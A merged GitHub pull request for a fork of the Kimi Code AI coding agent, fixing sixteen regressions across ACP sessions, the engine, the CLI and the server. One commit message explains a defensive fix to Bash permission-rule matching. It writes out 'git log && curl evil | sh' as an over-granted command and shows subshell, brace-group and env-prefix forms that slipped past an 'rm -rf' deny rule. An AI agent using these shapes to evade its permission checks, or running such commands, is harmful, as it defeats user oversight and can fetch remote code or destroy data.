Skip to content

fix: 16 verified ACP + engine + CLI regressions (post 0.36.0 sync) - #48

Merged
mbuckaway merged 13 commits into
fork/mainfrom
fix/acp-headless-regressions
Aug 14, 2026
Merged

fix: 16 verified ACP + engine + CLI regressions (post 0.36.0 sync)#48
mbuckaway merged 13 commits into
fork/mainfrom
fix/acp-headless-regressions

Conversation

@mbuckaway

Copy link
Copy Markdown
Owner

What

Sixteen regression fixes verified against the synced 0.36.0 tree (each issue triaged against the code, then adversarially refuted; only REAL bugs fixed — no enhancements). Nine adapt reviewed upstream community PRs; seven are written from scratch. One commit per issue; fork/PATCHES.md tracks all rows with upstream links; changesets name the upstream packages so the fixes stay upstream-submittable.

ACP

Engine

CLI / SDK / server

Validation

  • Per-package suites green on the combined tree (agent-core-v2 5187, agent-core 4188, acp-server 160, acp-adapter 339, kosong 1371, kap-server 102 search+prompts, node-sdk 375, apps/kimi-code 2500+)
  • Full workspace pnpm test under the supported Node 24: 18777 passed / 1 known acp-server socket SIGINT timing flake (passes in isolation; unrelated to these fixes)
  • Typechecks clean; binary builds; kimi acp --socket initialize + SIGINT teardown verified against the real binary; dist-web untouched
  • Note: on Node 26 (homebrew default here), 4 test files fail because Node 26 removed --experimental-transform-types (used by the search-worker dev host) — pre-existing environment incompatibility, all pass under Node 24 per .nvmrc

…ops tail records (MoonshotAI#2727)

ContextModel dehydrates blobs asynchronously, so the tail content.part/turn.ended records can still be queued on WireService.persistQueue when session/close disposes the agent scope. Flush before dispose (adopting upstream PR MoonshotAI#2812's approach); session close now guarantees dispose and the close announcement via try/finally.
…oonshotAI#2878, MoonshotAI#2828)

MoonshotAI#2878: internally-triggered turns (cron fire, background-task notifications) ran and persisted in the engine but streamed zero session/update notifications while no client prompt was in flight — every turn handler gated on the in-flight prompt driver. Forward internal-turn events as session/update notifications; the in-flight prompt's turn still settles its own driver.
MoonshotAI#2828: currentModeId was hardcoded 'default' and never read engine permission/plan state, so ACP reported default mode while the engine ran auto/yolo (and restored persisted modes). Seed currentModeId at init from the live engine permission mode + plan state via the composition root (the klient facade exposes no permission getter).
…d streams (MoonshotAI#2613, MoonshotAI#2762)

MoonshotAI#2613: a Kimi 401 'supports only N context' was born as provider.auth_error — never matching the context-overflow gate (400/413/422), forcing a pointless OAuth refresh+replay, and surfacing to ACP clients as -32000 'Authentication required'. Classify message-matched 401s as context overflow in both engines, skip the refresh for overflow errors, and preserve the provider message to the ACP wire (internalError instead of bare authRequired).
MoonshotAI#2762: the model-request path had no streaming idle timeout — a provider stream that silently stalled blocked session/prompt forever with partials never persisted. Add a shared stream stall watchdog at the kosong stream-iteration layer (KIMI_CODE_STREAM_STALL_TIMEOUT_MS, default 300s, 0 disables) that cancels the stream via the existing abort path so the loop persists the partial content and ends the turn as cancelled.
…race cannot kill the turn (MoonshotAI#2720)

With a compaction trigger below the 0.85 block floor, beforeStep started auto compaction without blocking, so the loop ran steps concurrently with the in-flight compaction; appended assistant exchanges made historySafeToCompact fail at commit, the compaction was cancelled, and the AbortError propagated into the blocked turn (its own signal was never aborted), ending it as 'cancelled' with 'This operation was aborted'. Now beforeStep blocks whenever a compaction is in flight, soft auto compaction defers after tool-continuation steps, and block() swallows the compaction's own abort when the turn signal is healthy — the next step head re-triggers on the current context. Manual-compaction quiescence is untouched.
…and cross slashes in glob subjects (MoonshotAI#2756, MoonshotAI#2728)

MoonshotAI#2756: Bash permission rules matched the entire compound command string as one glob subject — 'git *' over-granted 'git log && curl evil | sh' and 'rm -rf *' deny was bypassed by '(cd build && rm -rf *)' / '{ rm -rf build; }' / 'DEBUG=1 rm -rf build'. Decompose the command with the tree-sitter-bash parser and evaluate the rule per executable unit (allow must match a sub-command; deny fires on any match); parse failures fail closed for allow. Applies to both engines.
MoonshotAI#2728: rule glob subjects used picomatch path semantics, so '*' never crossed '/' for command/URL/search subjects. Non-path subjects now match as opaque text (slash-crossing) while Read/Write/Edit path subjects keep path semantics. Applies to both engines.
…t in the auth gate (MoonshotAI#2745)

The -p auth gate passed an empty env bag (args.provider?.env ?? {}) to explainProviderEndpoint, overriding the process.env default, so an env-supplied provider key was rejected with 'provider X has no credential configured' while the request adapters read process.env directly. The gate now falls back to the provider's declared apiKeyEnv from process.env in a two-stage resolution (inline/env-bag first, ambient second), preserving multi-key chain precedence and not invalidating oauth-configured providers.
… a config change (MoonshotAI#2779)

The external-hooks runner built its event->hooks index once at construction and only re-read config on plugin reload, so a [[hooks]] section landing after the runner was built (the interactive TUI loads config.toml after app-scope construction) was permanently invisible: every trigger a silent no-op and the heartbeat never armed. Subscribe to onDidChangeConfiguration, coalesce bursts, and let a trigger landing right after a change await the fresh index.
… selector is callable (MoonshotAI#2381)

The builtin agent profile allowlist contains mcp__* but not select_tools, so isToolActive rejected the SelectToolsTool contribution and it never reached the tool registry — while the disclosure announce path told the model to call it. Extend the existing disclosure carve-out to activation: select_tools is always registered (allowlist ignored) while the workspace veto, explicit disallowedTools opt-out, and the when predicate still gate it.
…nd reload on session re-select (MoonshotAI#2835)

The TUI rendered a transcript seeded once at attach and never re-read the append-only wire journal, so turns written by another process (ACP/mobile) were invisible, /sessions re-select short-circuited with 'Already on this session.', and continued typing forked the conversation into two divergent histories. Now: a wire-staleness check (newest turn.prompt boundary timestamp, backward-window scan) blocks input with a warning when the journal advanced beyond the last-rendered tip; the tip refreshes on turn end; re-selecting the current session reloads + re-hydrates from the fresh journal instead of short-circuiting; /reload re-hydrates too.
… failure (MoonshotAI#2629)

Non-TTY invocations took the manual-message branch (which always exited 0) whenever the session was non-interactive, so automation could not detect the no-op. Now a non-TTY run with an auto-install-capable source runs the foreground install (exit 0 on success, 1 on failure); an unsupported source prints the manual message to stderr and exits 1. The interactive path is unchanged; install logic extracted into a shared runForegroundInstall.
…onshotAI#2658)

The submit route accepted plan_mode in the body schema but never consumed it, so a first prompt with plan_mode: true enqueued the turn with the agent's plan state inactive and the session never entered plan mode. The route now applies enter/exit-if-different via IAgentPlanService before enqueueing, mirroring the session-profile route's idempotency guard.
… through session create (MoonshotAI#2765, MoonshotAI#2767)

MoonshotAI#2765: doCreateSession dropped agentProfile/agentFiles and materializeMainAgent unconditionally bound the default profile, so an interactive session never applied the profile's tools/disallowedTools. Session create now resolves the startup profile (agentProfile name, else agentFiles[0] frontmatter) and binds it.
MoonshotAI#2767: the TUI resolved only the profile name and the v2 explicit-agent-profile loader never saw --agent-file. KimiHarnessOptions/SDKRpcClientV2Options now carry agentFiles into the engine bootstrap args, and run-shell forwards them.
@mbuckaway
mbuckaway merged commit c4c5ea7 into fork/main Aug 14, 2026
12 checks passed
@mbuckaway
mbuckaway deleted the fix/acp-headless-regressions branch August 14, 2026 16:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant